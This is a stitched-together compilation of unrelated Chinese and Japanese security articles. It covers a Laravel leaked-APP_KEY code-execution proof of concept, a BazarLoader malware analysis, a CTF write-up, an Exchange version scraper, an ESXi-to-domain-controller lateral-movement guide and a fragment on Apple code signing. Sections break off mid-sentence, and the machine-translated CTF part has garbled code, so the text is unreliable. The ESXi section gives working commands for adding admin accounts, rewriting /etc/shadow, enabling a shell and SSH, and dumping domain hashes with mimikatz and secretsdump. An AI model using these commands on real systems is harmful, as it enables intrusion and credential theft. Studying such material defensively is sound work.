我們首先假設隊列閉包通常期望在用戶定義的類上運行,在用戶定義的作用域內,例如Podcast 類或Newsletter 類。此外,我們認為隊列閉包中的函數需要實際存在。然而,這兩個假設都是錯誤的。只要隊列關閉作業中的作用域存在,攻擊者就可以執行任意PHP 代碼。

作為概念證明,我們修改了現有的供應商類(在我們的攻擊者環境中)Illuminate\Cookie\Middleware\EncryptCookies 以包含我們的惡意sendMaliciousClosure() 函數。 EncryptCookies 類應該存在於所有Laravel 項目中,因此作用域應該始終存在。請注意,我們也可以通過反射手動更改前面提到的作業對象內的作用域。

首先,我們更改EncryptCookies 類,如以下代碼片段(第11-18 行)所示。這樣,我們定義了一個閉包,它只是調用shell_exec 來執行任意操作系統命令。然後這個閉包作為作業被分派到配置的Laravel 隊列中。

12.png

我們的惡意關閉可以通過我們自己的Laravel Artisan 命令發送,如以下代碼片段所示。請注意,我們在EncryptCookies 作用域內靜態調用函數sendMaliciousClosure。這很重要,因為此作用域也需要存在於目標應用程序中。

13.png

在作業調度期間,隊列閉包被創建並使用洩露的APP_KEY 簽名。下面我們可以看到存儲在隊列中的序列化作業。我們的SerializableClosure 可以在命令對像中找到。

當我們向隊列發送一個閉包時,所有需要的函數定義都包含在閉包中:

14.png

同樣,一旦目標應用程序檢索到隊列對象,它就會嘗試(不安全地)反序列化命令對象。完成此操作後,Laravel 使用APP_KEY 驗證哈希。驗證哈希後,Laravel 將嘗試解析作用域App\Http\Middleware\EncryptCookies。如果此作用域存在,則執行攻擊者控制的閉包或代碼。這可以立即得到驗證,因為攻擊者控制的echo 是從目標隊列工作人員的上下文中調用的。

15.webp.jpg

特別是考慮到閉包,值得一提的是,Laravel並不期望通過隊列接受什麼。開發人員唯一需要的設置是Laravel Queue的配置。一旦配置了這個隊列,Laravel就不會檢查它應該處理哪些隊列功能,而是Laravel 會嘗試處理它通過隊列提供的所有內容。該代碼不區分用於處理排隊閉包的隊列或應該只處理Newsletter 類對象的隊列。

開發工具包/測試環境為了驗證這些漏洞,我們創建了一個小型Laravel 測試和利用環境。

你可以按照以下步驟設置環境:

複製測試環境存儲庫:

16.png

手動安裝composer 依賴項(這應該不需要,但我們過去遇到了一些問題):

17.png

設置測試環境:

laravel_victim_app 和laravel_exploit_scope_app 需要有相同的APP_KEY;

laravel_queue_exploit_client_laravel_exploit_1 會有一個隨機的APP_KEY;

你可以在相應的.env 文件中編輯APP_KEY 變量;

所有三個環境文件都需要設置相同的AWS SQS。可以在此處找到有關如何設置的教程。

18.png

為了利用目標,應用程序需要監聽/工作配置的隊列。這可以使用以下命令完成:

微信截图_20220921100325.png

然後可以使用漏洞利用客戶端發送有效負載。以下命令會將作業發送到隊列中,這將利用命令的不安全反序列化:

微信截图_20220921100351.png

下一個命令將通過隊列閉包執行任意PHP 代碼:

微信截图_20220921100414.png

你將看到目標定期處理傳入隊列。成功的利用應該在目標文件系統的/tmp/目錄中創建文件:

22.png

如果你想檢查哪些代碼片段已更改,可以使用grep 查找字符串“惡意更改”(Malicious Changes),該字符串表示在客戶端中更改的代碼段。

23.png

創建惡意簽名URL另一個不太嚴重的利用場景可能是創建簽名URL。使用簽名URL,開發人員可以驗證請求的URL 是否未被篡改。這可以用於各種示例。 Laravel 在官方文檔中描述的一個示例是將簽名URL 用於“取消訂閱”鏈接。在本示例中,簽名鏈接通過驗證防篡改URL的簽名來防止用戶取消訂閱其他鏈接。

大多數示例中,與其他APP_KEY 攻擊向量相比,創建簽名URL 的影響相對較小。但是,讓開發人員依賴簽名URL 來彌補輸入驗證的不足也是可行的,例如防止SQL 注入或IDOR 漏洞。

從以下代碼示例中可以看出,簽名URL 創建過程非常簡單,可以在Laravel Artisan 命令中輕鬆創建:

24.png

總結雖然獲得對洩露的APP_KEY 的訪問權限不再是代碼執行的保證,但仍有許多攻擊場景可以將此目標存檔。

大多數示例中,洩露的APP_KEY 本身不足以利用應用程序。攻擊者總是需要額外的錯誤

我會在本文介紹這個加載程序的最後進程,它能夠下載和執行遠程有效負載,例如CobaltStrike和Conti勒索軟件。 BazarLoader是基於Windows的惡意軟件,主要通過電子郵件等方式傳播。

第1步:檢查系統語言與許多惡意軟件類似,BAZARLOADER會手動檢查系統的語言以避免在其母國開展惡意攻擊。

它調用GetSystemDefaultLangID來檢索系統的默認語言,並調用GetKeyboardLayoutList來遍歷系統的鍵盤佈局。

1.png

對於每一種語言,惡意軟件都會使用位掩碼檢查其是否有效。

如果語言標識符大於0x43或小於0x18,則將其視為有效,這樣BAZARLOADER才會繼續執行。

如果它在0x18和0x43之間的範圍內,語言標識符和0x18之間的差異被用作位掩碼中要檢查的位的索引。

BAZARLOADER使用的位掩碼是0xD8080190C03,即二進制的11011000000010000000000110010000110000000011。如果語言ID為0x18,則檢查位掩碼中的第一位。如果語言ID為0x19,則檢查第二位,依此類推……

2.png

以下是惡意軟件避免的位掩碼中所有語言的列表。

3.png

第2步:互斥對象為了檢查自身的多個運行實例,BAZARLOADER首先從其進程中提取SID的子權限。它通過調用GetTokenInformation來檢索進程的令牌完整性級別並調用GetSidSubAuthorityCount和GetSidSubAuthority來訪問SID的子權限來實現這一點。

4.png

如果SID的子權限是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER通過調用CreateMutexA檢查互斥鎖“{b837ef4f-10ee-4821-ac76-2331eb32a23f}”當前是否由任何其他進程擁有。

如果是,惡意軟件會自行終止。但是,檢查互斥對像是否存在的條件存在一個小錯誤,它假定它在實際成功時無法打開互斥對象。

5-.png

此後,惡意軟件解析字符串“{0caa6ebb-cf78-4b01-9b0b-51032c9120ce}”並嘗試使用該名稱創建互斥鎖。

6-.png

如果這個互斥對像已經存在,惡意軟件也會自行終止。

如果SID的子權限不是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER仍然使用這兩個互斥對象名稱,但在它們前面添加字符串“Global\”。這將檢查全局命名空間中的互斥鎖,而不是每個會話命名空間,這允許惡意軟件檢查它是否有在其他用戶的會話中運行的實例。

第3步:生成隨機Internet流量為了生成Internet活動以隱藏其與C2服務程序的通信,BAZARLOADER首先調用InternetOpenA以使用以下字符串作為HTTP用戶代理來初始化WinINet函數的使用。

5.png

然後,惡意軟件會生成一個線程以定期連接到隨機URL,並利用以下結構生成噪音以隱藏主要的C2流量。

6.png

首先,BAZARLOADER調用InitializeCriticalSection來初始化結構的臨界區對象,該對象稍後用於保護對creation_flag字段的訪問。

接下來,它設置self字段指向結構,creation_flag字段為TRUE,並調用CreateThread生成一個線程來執行這些隨機Internet操作。如果創建線程失敗,creation_flag字段設置為FALSE。

線程首先嘗試獲取臨界區對象的所有權並檢查是否啟用了創建標誌。如果是,惡意軟件會將以下URL解析為堆棧字符串。

7.png

接下來,線程進入一個無限循環,開始產生通訊噪音。對於隨機數生成,BAZARLOADER使用不同的函數調用Windows API BCryptGenRandom來生成一組隨機字節。

它隨機選擇上面列出的4個URL之一,隨機生成URL路徑段,然後將兩者結合起來構建完整的URL。

8.png

在生成路徑段時,該函數取生成的路徑段的最小和最大數量,以及每個路徑段的最小和最大長度。

它在給定範圍內隨機生成路徑段的計數。對於每個段,惡意軟件隨機生成一個字符串,該字符串在給定範圍內具有隨機長度,其中包含數字和大寫/小寫字母。

9.png

最後,惡意軟件調用InternetOpenURLA與生成的URL建立連接。它使用HTTP_QUERY_CONTENT_LENGTH標誌調用HTTPQueryInfoA以檢索內容的長度,分配具有該大小的緩衝區,並調用InternetReadFile從該URL讀取數據。

10.png

這會重複進行,直到C2通信和有效負載注入完成,這會產生大量噪音來掩蓋進出C2服務程序的主要流量。

第4步:密碼結構集群BAZARLOADER主要使用以下結構與C2服務程序進行通信。我們將在分析代碼時解釋結構的字段。

8-.png

首先,它填充主結構中的crypto_struct字段。此結構包含稍後用於解密從C2服務程序發送的可執行文件的加密句柄。

結構可以重構如下:

9-.png

這個惡意軟件會解析字符串“RSA”和“SHA384”,並調用BCryptOpenAlgorithmProvider來獲取這兩個算法的句柄。句柄存儲在crypto_struct結構中的相應字段中。

10-.png

接下來,它解析內存中硬編碼的RSA公鑰和私鑰blob,以導入相應的密鑰句柄。

11-.png

對於每個blob,惡意軟件會解析字符串“RSAFULLPRIVATEBLOB”或“RSAPUBLICBLOB”,並使用它指定blob的類型時調用BCryptImportKeyPair導入相應的密鑰句柄。

12-.png

最後,它調用BCryptGetProperty來檢索RSA公鑰和私鑰密碼塊的長度。在完全填充了這個結構之後,BAZARLOADER現在可以執行RSA加密/解密以及SHA384哈希。

第5步:通過原始IP地址進行C2連接在與C2服務程序通信之前,BAZARLOADER首先解析原始IP地址列表並將它們寫入主結構中的C2_addr_list字段。

該字段是一個表示字符串結構列表的結構,可以如下所示重新構建兩個字符串結構。

10.png

下面是此示例中使用的C2服務程序的所有IP地址的列表。

11.png

對於其中的每個地址,惡意軟件都會嘗試與相應的服務程序通信並下載下一階段的可執行文件。

要建立連接,它會填充以下結構。

12.png

惡意軟件調用InternetCrackUrlA來檢索C2的URL組件和InternetConnectA以連接到服務程序。

13.png

然後將此連接結構的字段複製到主結構的C2_connection_struct中。不過,我不完全確定他們為什麼不直接填充主要結構。

14.png

同樣,BAZARLOADER填充下面的結構以創建對C2的HTTP請求。請求的對象名稱和HTTP動詞被解析為“/data/service”和“GET”。

13-.png

請求的HTTP版本被解析為“HTTP/1.1”,並且BAZARLOADER調用HttpOpenRequestA來使用上面檢索到的連接句柄為C2服務器創建此請求。

它還調用InternetSetOptionA設置接收響應和發送請求的超時時間為300秒,連接C2的超時時間為120秒。

14-.png

BAZARLOADER然後生成附加到請求的HTTP標頭。它通過調用GetSystemTime來使用當前日期和時間填充主結構的curr_system_time和datetime_string字段來實現這一點。

它還生成日期時間字符串的SHA384哈希,以填充結構的datetime_string_hash和datetime_string_hash_len字段。

15-.png

接下來,BAZARLOADER通過調用BCryptSignHash使用其RSA私有簽名生成的哈希,並使用此哈希簽名隨機生成HTTP標頭。

下面是隨機HTTP標頭的形式。

BAZARLOADER的HTTP標頭

16-.png

使用生成的HTTP標頭和請求句柄,BAZARLOADER調用HttpSendRequestA將請求發送到C2服務程序並調用HttpQueryInfoA來檢索狀態碼。

如果狀態碼不是HTTP_STATUS_OK,惡意軟件會轉移到另一個C2地址。

17-.png

如果狀態碼為HTTP_STATUS_OK,BAZARLOADER調用InternetQueryDataAvailable確定要讀取的數據大小,根據大小分配內存緩衝區,並調用InternetReadFile讀取下一階段的有效載荷,直到所有內容都寫入內存。

18-.png

最後,惡意軟件通過調用BCryptDecrypt使用其RSA公鑰解密有效負載,並檢查以確保有效負載的大小大於64字節並且包含MZ標頭。

19-.png

第6步:通過自定義URL進行C2連接如果BAZARLOADER無法從上面列出的IP地址下載下一階段的可執行文件,它會嘗試使用用戶擁有的DNS社區服務OpenNIC解析自定義C2域。

為了開始查詢OpenNIC的API,惡意軟件首先解析URL“api.opennicproject.org”並調用InternetConnectA建立與該網站的連接。

20-.png

接下來,它調用HttpOpenRequestA以創建對象名稱為“/geoip/?bareipv=4wl=allres=8”的GET請求句柄,並使用HttpSendRequestA發送請求。

通過檢查OpenNIC的API,我們可以分解此對象名稱以查看BAZARLOADER請求的內容。其中“bare”參數只列出DNS服務器的IP地址,“IPv4”參數只列出IPv4服務器,“wl”參數只列出白名單服務器,“res”參數只列出8個服務器。

為了測試這一點,我們可以簡單地將下面的路徑粘貼到我們選擇的瀏覽程序中。

14--.png

然後惡意軟件進入循環調用InternetQueryDataAvailable和InternetReadFile來讀取8個OpenNIC的DNS服務器到內存中。

15--.png

對於每個DNS服務程序IP地址,BAZARLOADER將其從字符串解析為int並填充主結構中的opennic_server_struct字段。下面是用於存儲OpenNICIP地址的結構。

16--.png

最後,惡意軟件解碼以下自定義C2域,嘗試使用DNS服務程序解析它們,並下載下一階段的可執行文件。

17--.png

對於每個自定義域,BAZARLOADER調用DnsQuery_A從OpenNIC的服務程序查詢DNS資源記錄,以解析C2服務程序的IP地址。

18.png

在檢查IP地址是否有效後,惡意軟件會嘗試連接它並請求下載下一階段的可執行文件,類似於我們在上一步中看到的。

19.png

第7步:通過process hollowing技術注入成功下載下一階段可執行文件之後,BAZARLOADER開始注入功能,從另一個進程啟動它。

對於此功能,BAZARLOADER填充以下結構。

20.png

首先,它檢查它的進程是否被提升為管理權限。它調用GetCurrentProcess和OpenProcessToken來檢索自己的進程令牌句柄,並調用GetTokenInformation來獲取令牌的提升信息。

1。ミス

1。ホットポットチェーン観光チェックイン

開いた後、ウォレットを接続し、クリックしてゲームを開始し、質問に8回回答した後、NFTをクリックします。旗のある写真については何も言うことはありません。知識Q&Aの質問

v020kxwgqme580.png

NFTを引き換えます

tegum4x2vmy582.png

フラグ{y0u_ar3_hotpot_k1ng}

2.軌跡図

メソッド1:PyのNumpyおよびPandasライブラリを使用してNPZファイルを読み取り、CSVファイルとして保存します。コードは次のとおりです。npiportpandasとしてpdnp.set_printoptions(threshold=np.inf)a1=np.load( 'attachment.npz'、approw_pickle=true)print(a1.files)print( 'read:' '、a1)index=a1 [' index '' indec 'ind a1 [' index '' index '' indecl a1 ['output'] mytra=a1 ['trace']#print(mytra.shape)df=pd.dataframe(mytra)df.to_csv( 'data1.csv'、index=false)df1=pd.dataframe({'index''3360index、'入力': myin})df1.to_csv( 'data2.csv'、index=false)data1.csv、data2.csvを取得し、data.csvを取得するためにマージします。 data.csvをオープンすると、消費電力データが表示されます。 https://zhuanlan.zhihu.com/p/157585244によると、この質問の鍵は、インデックスの正しいパスワードである他の文字とは異なる文字を見つけることだと思います。これに基づいて、図に示すように4番目の文字などのExcelのラインチャート関数を使用して、在这里插入图片描述に、他の線とは異なる緑の線があることがわかります。

順番に繰り返してキー全体を取得します:_ciscn_2024_

つまり、フラグ:フラグ{_ciscn_2024_}

方法2:テストコード:Numpyをnpimportlib matplotlib.pyplotとしてpltmatplotlib.useとしてインポートします( 'tkagg')data=np.load( './attach.npz')print(data.files)aa=data [data.files [0]] bb=data [1 data [data [data [data] dd] data [data.files [3]] print(len(aa)、aa)print(len(bb)、bb)print(len(cc)、cc)print(len(dd)、dd)for i in reng(len(dd)): plt.scapter([i for i for i in dd [i])、DD NPZファイルからの4つのファイルの。出力は空です。他の3つのファイルの配列長はすべて520です。インデックスによると、各40を取得できます。合計で13の平文があるとほぼ判断しています。1049983-20241004225425375-1250230147.pngInputはテーブルです。1049983-20241004225426348-2102281765.pngOutputは空です。トレースのデータはすべて小数です。1049983-20241004225427236-1767167632.pngトレースのデータにドットプロットを描画してみてください:1049983-20241004225428016-911719087.pngデータの各セットの最大値に多くのポイントがあることを発見しました。

npdata=np.load( './attachment.npz')dd=date [data.files [3]] for i in range(len(dd)): min_index=np.argmin(dd [i])print(f'minimum index(f'minimum index for Group {i} 3360 {ver all_index '') '') 985、他のデータには他の異なる数値があります。1049983-20241004225429043-1156571575.png 40個のデータグループの最小値の添え字を使用して、グラフ分析を再度描画します。最大値は1つしかないことがわかったため、最大値の添え字を見つけ続け、入力テーブルから対応する文字を取得する必要があります:1049983-20241004225430234-1674052168.pngExp:

npimportmatplotlib.pyplotとしてnumpyをpltf=np.load( './attach.npz')index=f ['index'] ip=f ['input'] tr=f ['trace'] for _ in _ in _ in range(13): t=[] for _ for _ for _ in範囲(40):#各リストの散布図を描画し、最小値#plt.scatter([i for i for i in ren(tr [_*40+i])]]、tr [_*40+i])#plt.show() T.Append(min)#40リストの最小値の添え字をデータとして使用し、画像を描画し、範囲のIに最大値があることを見つけます(len(t)): plt.scatter([i for i for i in ren(t))]、np.array(t))plt.show()テーブルからind=table [mins]#flag +=indprint(flag)に文字を追加

GET:_CISCN_2024_A前のグループの最後のデータセットはすべて985であるため、最後のデータセットから取得されたAはAとしてカウントされません。最終フラグが取得されます:フラグ{_ciscn_2024_}

3。神秘的なファイル

メソッド1:究極の人形はぼやけており、実際にそれを探しています。 PPTファイルを取得し、接尾辞を.zipに変更して、DocPropsディレクトリの2つのXMLでPART1を見つけます。 app.xmlは、復号化アルゴリズムをプロンプトします。Core.xmlは、ciphertextとキーキーをプロンプトします。Cyberimageに移動します。 PPTから開くと、第2章の左上隅にある黒いピースです。ダブルクリックし、開いた後にすべてを選択し、色を変更し、色を変更し、Caesar Offset 10を復号化してからPART2 image imagePART3を取得します。私は本当にこれを長い間検索しました。その後、オンラインで検索したところ、PPTステガノグラフィは、VBAプロジェクト復号化と呼ばれるマクロとマクロスクリプトに関連している可能性があることがわかりました。最初にvbaproject.binを開いて、dpbバイトを見つけ、最後のビットをxに変更し、サフィックスを.zipに保存し、直接開き、含意のファイルを見つけます。 VBAフォルダーでモジュール1を開きます。image。暗号文を見つけました。それが何であるかはわかりませんが、プロンプトはBase64の後です。次に、最初にそれを復号化してから、文字化けしたコードを取得します。一般的に、特殊文字はよりRC4または腐敗しています。最後に、パスワードなしで復号化されていることがわかりました。次に、base64のレイヤーで復号化します。imagePART4は、PPTを直接開きます(メディアフォルダの写真で構成されているため)。 3番目の写真は、目に見える隠された文字を選択することです。私のコンピューターはデフォルトで自動的にそれを選択するため、直接表示できます。 base64デコードimagePART5は、第5章PPTのコメントにあります。直接サイバーシェフハットラン、マルチレイヤーベース64デコード、5番目のパートimagePART6は、5番目のPPTテキストの境界の左上隅にあります。メディアフォルダーをスケーリングまたは直接分解することができます。 base64デコードimagePART7は、PPT \スライドの下でSlides4.xmlにあり、ID4の位置を以下に促します。 rot13すべて、数字を含むことを意味します、base64デコードimage

PART8はナンピングのSlidelayout2.xmlにあります。最初はそれが何を意味するのか理解できませんでした。接続した後にのみ理解しました。つまり、上記の文字列からBB13を削除するためです。次に、base64デコードimage imagePART9メディアフォルダで直接、猫の男の写真の左下隅を見てください。

バージニア州コメント1.xmlのパート10は、デコードされています。キーは毛皮のようなimageです

要するに、最後のフラグはフラグです{e675EFB3-346F-405F-90DD-2222222B387EDEE9}メソッド2:最初に、いくつかのシンプルで簡単に見つけることができます。 Base64、バージニア州、シーザーなどをデコードするための迅速なルールに従ってください。PPTでは多くのことを見つけることができます:1049983-20241004225442421-920104914.png 1049983-20241004225443402-1060950235.png 1049983-20241004225444338-1660903503.png ZIPサフィックスを変更すると、世界ドキュメント:010-6926 1049983-20241004225446022-1338623161.pngで見つけます1049983-20241004225446869-378067329.png写真:1049983-20241004225447784-2112391753.png合計で、PART23360675EFBPAYT4:606F-40PART53:5F-90DPART6:D-2PART933333333333333333333333333333333333333333333333333333333333333333333333331049983-20241004225448650-1890017793.pngバイナリファイルi13pomdzeazhfy4dgs+vua==ここにbase64+rc4+base64 1049983-20241004225449476-43250540.png Get Part33:3-34pptファイル属性:010-695552 Ciphertext:qfpppppppppppppppq6zzmzzzzmmmmm32 bifldkey:lanjing;1049983-20241004225450869-712111176.png PART1:FLAGを取得{EPPTマスター:1049983-20241004225451627-339244211.png BB13を削除し、Base64 1049983-20241004225452517-437982105.png PART8336087E Select Pane:1049983-20241004225454299-719789787.png=1049983-20241004225454299-719789787.png最終フラグを取得するためのスプライシング:flag {e675EFB3-346F-405F-90DD-2222222222B387EDEE9}最後にシンボルのフラグを見つけます表imagebase64デコードしてフラグを取得するためにflag imageメソッド2:binwalkを使用してzlibファイルを分離し、コードは次のとおりです。 Open(input_fileName、 'rb')as compressed_file: compressed_data=compressed_file.read()decompressed_data=zlib.decompress(compressed_data)with open(output_filename、 'wb')as output_file.write.='35 .zlib'output_file='decompressed_data.txt'decompress_zlib_file(input_file、output_file)winhexを使用してdecompressed_data.txtを開いて、base64の後にエンコードされたフラグを見ることができます。在这里插入图片描述フラグを取得するためのデコード:

0x00 前言在上篇文章《渗透基础——Exchange版本探测和漏洞检测》 介紹了通過Python進行版本探測的兩種方法,在版本識別上,首先從官網獲得已知的版本信息,將版本信息存儲在列表中,然後通過字符串匹配的方式獲得Exchange版本的詳細信息。開源的代碼Exchange_GetVersion_MatchVul.py反饋很好。但是這個方法存在一個缺點:需要定期訪問官網,手動更新掃描腳本中的版本信息列表。

為了進一步提高效率,本文介紹另外一種實現方法,通過訪問官網,從返回數據中直接提取出詳細的版本信息,優點是不再需要定期更新腳本。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云通過BeautifulSoup解析網頁數據

马云惹不起马云實現細節

马云惹不起马云 開源代碼

0x02 通過BeautifulSoup解析網頁數據BeautifulSoup是一個可以從HTML或XML文件中提取數據的Python庫,可以提高開發效率。

安裝:

image.png

1.基本使用在Python實現上,需要先通過requests庫獲取網頁內容,再調用BeautifulSoup進行解析。

測試代碼:

image.png

以上代碼將會訪問https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁數據交由BeautifulSoup進行優化並顯示。

執行代碼的部分輸出結果示例:

image.png

對於以上結果,每個'tr'節點對應一個版本信息,子節點'td'為具體的版本細節。

2.只篩選出'tr'節點的內容測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,嘗試去除無效數據。

3.提取出版本信息測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,可以嘗試對精確版本進行匹配。

4.精確匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

對於Exchange較老的版本,無法獲得準確的版本號,所以還需要實現粗略匹配版本的功能。

5.粗略匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

6.提取出網頁數據時間為了能夠準確獲得版本信息,這裡還需要提取出網頁數據的更新時間。

標記網頁數據時間的位置:

image.png

定位該時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

提取出時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

結合以上信息,我們可以寫出新的識別Exchange版本的代碼,通過從官網讀取數據信息來獲得準確的版本,考慮自動化判斷多個目標的情況下,為了避免多次訪問網站讀取數據信息,在代碼結構上做了適當優化,只需訪問一次https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁結果保存在變量中。代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromWebsite.py

考慮到內網無法訪問官網的情況,實現了一個從本地解析網頁文件來獲得準確的版本,代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromFile.py

可以先訪問官網並將網頁內容保存為exchange.data,再執行腳本Exchange_GetVersion_ParseFromFile.py即可

0x03 小結本文介紹了在Exchange版本識別上的優化方法,可以不必手動更新掃描腳本中的版本信息列表,開源代碼Exchange_GetVersion_ParseFromWebsite.py和Exchange_GetVersion_ParseFromFile.py

0x00 前言假定以下測試環境:我們獲得了內網VMware ESXI的控制權限,發現VMware ESXI上安裝了Windows域控服務器。

本文僅在技術研究的角度介紹從VMware ESXI橫向移動到該Windows域控服務器的方法,結合利用思路,給出防禦檢測的方法。

0x02 簡介本文將要介紹以下內容:

马云惹不起马云利用思路

马云惹不起马云常用命令

马云惹不起马云 實現方法

0x03 利用思路通過VMware ESXI管理虛擬機,創建快照文件,從快照文件中提取出有價值的信息。

0x04 常用命令1.查看虛擬機版本vmware-vl2.用戶信息相關(1)查看所有用戶

esxclisystemaccountlist(2)查看管理員用戶

esxclisystempermissionlist(3)添加用戶

esxclisystemaccountadd-itest1-pPassword@1-cPassword@1(4)將普通用戶添加成管理員用戶

esxclisystempermissionset-itest1-rAdmin(5)啟用內置管理員賬戶

默認配置下,dcui是管理員用戶,但是不允許遠程登錄,可以通過修改配置文件的方式設置dcui用戶的口令並啟用遠程登錄。

設置dcui用戶口令為Ballot5Twist7upset,依次輸入:

passwddcui

Ballot5Twist7upset

Ballot5Twist7upset一鍵設置dcui用戶口令:sed -i 's/dcui:\*:13358:0:99999:7:/dcui:$6$NaeURj2m.ZplDfbq$LdmyMwxQ7FKh3DS5V\/zhRQvRvfWzQMSS3wftFwaUsD9IZuxdns.0X.SPx.59bT.kmJOJ\/y3zenTmEcoxDVQsS\/:19160:0:99999:7:/g' /etc/shadow

啟用dcui用戶遠程登錄:

修改文件/etc/passwd,將dcui:x:100:100:DCUI User:/:/sbin/nologin修改為dcui:x:100:100:DCUI User:/:/bin/sh

一鍵啟用dcui用戶遠程登錄:sed -i 's/dcui:x:100:100:DCUI User:\/:\/sbin\/nologin/dcui:x:100:100:DCUI User:\/:\/bin\/sh/g' /etc/passwd

開啟ssh:

vim-cmdhostsvc/enable_ssh3.虛擬機相關(1)查看所有虛擬機

image.png

(2)查看指定虛擬機的狀態

image.png

(3)開啟指定虛擬機,可用於開機和從掛起狀態恢復

image.png

(4)掛起指定虛擬機

image.png

(5)關閉指定虛擬機

image.png

(6)查看指定虛擬機的操作日誌

image.png

4.虛擬機快照相關

(1)查看指定虛擬機的快照信息

image.png

(2)新建快照

image.png

示例1:

image.png

includeMemory 設置為true,表示包括內存,否則無法生成.vmem文件。

示例2:

image.png

這個命令等價於vim-cmd vmsvc/snapshot.create 1 test '' false false,不包括內存,不會生成.vmem文件。

(3)刪除快照

image.png

0x05 實現方法1.獲得虛擬機的vmid image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的vmid為1

2.查看虛擬機的快照信息image.png

測試環境下沒有虛擬機快照。

3.為虛擬機創建快照image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的snapshotIndex為1

4.使用volatility分析快照文件volatility是一款開源的取證分析軟件。

Python2版本的地址:https://github.com/volatilityfoundation/volatility

Python3版本的地址:https://github.com/volatilityfoundation/volatility3

volatility和volatility3的命令語法不同,功能基本相同,最新版本為volatility3,但這裡選擇volatility,理由如下:

马云惹不起马云 volatility有獨立的可執行程序,volatility3需要自己編譯

马云惹不起马云volatility3有mimikatz插件,可以從lsass進程提取數據,volatility3不支持這個插件

(1)定位鏡像文件

搜索後綴名為vmem的文件,命令如下:

image.png

測試環境下,獲得鏡像文件位置為./vmfs/volumes/62a735a8-ad916179-40dd-000c296a0829/DC1/DC1-Snapshot1.vmem

(2)上傳volatility_2.6_lin64_standalone

volatility_2.6_lin64_standalone的下載地址:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

分析快照文件需要.vmem文件作為參數,而.vmem文件通常很大,為了提高效率,這裡選擇將volatility上傳至VMware ESXI,在VMware ESXI上分析快照文件。

(3)查看鏡像信息

通過鏡像信息獲得系統版本,命令如下:

image.png測試環境下,獲得Profile為Win2016x64_14393

(4)從註冊表獲得本地用戶hash

命令如下:

image.png

測試環境下,輸出結果:

image.png

(5)從註冊表讀取LSA Secrets

命令如下:

image.png

測試環境下,輸出結果:

image.png

(6)導出所有域用戶hash

需要下載ntds.dit、SYSTEM文件和SECURITY文件。

定位ntds.dit文件,命令如下:

image.png

輸出:

image.png

提取ntds.dit文件,命令如下:

image.png

依次再提取出SYSTEM文件和SECURITY文件,導出所有域用戶hash可以使用secretsdump,命令為:secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

(7)加載mimikatz插件,讀取lsass進程中保存的憑據

volatility_2.6_lin64_standalone不支持加載mimikatz插件,這裡可以選擇將整個快照文件(DC1-Snapshot1.vmem)下載至本地,搭建volatility環境,加載mimikatz插件。

kali安裝volatility的方法:

1. 安裝image.png

2. 測試volatility image.png

3. 添加mimikatz插件下載地址:https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py

將mimikatz.py保存至

4.安裝mimikatz插件的依賴image.png

這裡不能直接使用pip2 install construct,construct版本過高會導致在加載mimikatz.py時報錯AttributeError: 'module' object has no attribute 'ULInt32'

5.測試插件image.png

輸出:

image.png

安裝成功。

加載mimikatz插件的命令如下:

image.png

輸出結果:

image.png

補充:

讀取lsass進程中保存的憑據還可以使用以下方法:

1. 將鏡像文件轉成Crash Dump文件

image.png2. 使用Mimilib從dump文件中導出口令

詳細方法可參考之前的文章《渗透技巧——使用Mimilib从dump文件中导出口令》

5.刪除快照

image.png

0x06 防禦檢測1. 防禦內網VMware ESXI及時更新補丁

關閉內網VMware ESXI的ssh登錄功能

2. 檢測查看內網VMware ESXI登錄日誌

查看虛擬機快照鏡像標誌snapshotIndex是否異常,對於新的虛擬機,新建快照標誌snapshotIndex從1開始累加,刪除快照鏡像不會影響snapshotIndex,例如刪除snapshotIndex為1的快照,再次創建快照時snapshotIndex為2`

0x07 小結本文在技術研究的角度介紹了從VMware ESXI橫向移動到該Windows域控服務器的方法,使用volatility分析鏡像文件,提取關鍵信息,結合利用思路,給出防禦檢測的方法。

蘋果系統運行著一些現有的最大和最賺錢的軟件應用程序生態系統。理論上,要進入這些生態系統,傳統上需要使用macOS,並加入蘋果開發者計劃(Apple Developer Program)。

如果你想為Apple 操作系統開發應用程序,你可能會使用Apple 的操作系統和Apple 的官方工具進行開發和分發。但對於開源開發人員通常希望以最小的努力分發跨平台應用程序。在整個編程語言生態系統中,你運行的操作系統被抽象為許多應用程序的實現細節。通過創建macOS、iOS 等開發需要直接訪問macOS 和通常高於市場價格的Apple 硬件的要求,蘋果軟件生態系統強加的分發要求是有效的排他性,並阻止利益相關方對進入其生態系統。

在蘋果平台上發佈軟件的一個問題是代碼簽署和公證,即你需要:

1.在應用程序中嵌入加密簽名,有效地證明來自Apple Developer Program 關聯帳戶的真實性。 (這是簽名。)

2.將你的應用程序上傳到Apple,以便他們對其進行檢查,驗證它符合要求,可能還會存儲一個副本。然後,蘋果會發布自己的加密簽名,即公證書,然後需要將其嵌入到正在分發的應用程序上,這樣蘋果的操作系統才能信任它。 (這是公證。)

